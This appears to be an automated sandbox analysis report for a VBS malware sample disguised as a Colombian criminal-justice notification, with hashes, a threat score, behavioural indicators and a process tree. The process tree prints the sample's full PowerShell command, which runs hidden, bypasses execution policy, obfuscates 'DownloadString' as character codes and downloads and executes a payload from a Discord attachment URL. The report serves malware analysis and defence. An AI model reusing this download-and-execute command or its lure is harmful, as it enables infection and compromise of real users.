e25d5a23459ac8a9dd459db9ff70b0553f256b6b074c3848bffa65886d6d9f24

Analysis

Target

SPOA Sistema Penal Oral Acusatorio Notificacion de requerimiento fiscal a su nombre por admision de denuncia.vbs.vbs
Size

827B
MD5

5b4cbb9b11c79830351c9e2bf59c5a42
SHA1

98328f4e9da68649cb8c003b83f1123cfef91678
SHA256

e25d5a23459ac8a9dd459db9ff70b0553f256b6b074c3848bffa65886d6d9f24
SHA512

ced0b4a8a102be874860836fa674b07c0161352e3ac3066cd248f53c770948d54b098a6bc96128cddc92044028bc092edc0416dac72cdb96f67a75040e7df15f

Score

8^/10

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 1744 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1744 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1744 powershell.exe

flow	pid	process
7	1744	powershell.exe

pid	process
1744	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1744	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1984 wrote to memory of 1744	1984	WScript.exe	powershell.exe
PID 1984 wrote to memory of 1744	1984	WScript.exe	powershell.exe
PID 1984 wrote to memory of 1744	1984	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SPOA Sistema Penal Oral Acusatorio Notificacion de requerimiento fiscal a su nombre por admision de denuncia.vbs.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/876945743724822550/884806965497319514/Cryp16.txt');$results
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1744

memory/1744-54-0x0000000000000000-mapping.dmp

Download
memory/1744-56-0x000007FEF3130000-0x000007FEF3C8D000-memory.dmp

Filesize
11.4MB

Download
memory/1744-57-0x00000000026A0000-0x00000000026A2000-memory.dmp

Filesize
8KB

Download
memory/1744-58-0x00000000026A2000-0x00000000026A4000-memory.dmp

Filesize
8KB

Download
memory/1744-59-0x00000000026A4000-0x00000000026A7000-memory.dmp

Filesize
12KB

Download
memory/1744-60-0x000000001B700000-0x000000001B9FF000-memory.dmp

Filesize
3.0MB

Download
memory/1744-61-0x00000000026AB000-0x00000000026CA000-memory.dmp

Filesize
124KB

Download
memory/1984-53-0x000007FEFBF01000-0x000007FEFBF03000-memory.dmp

Filesize
8KB

Download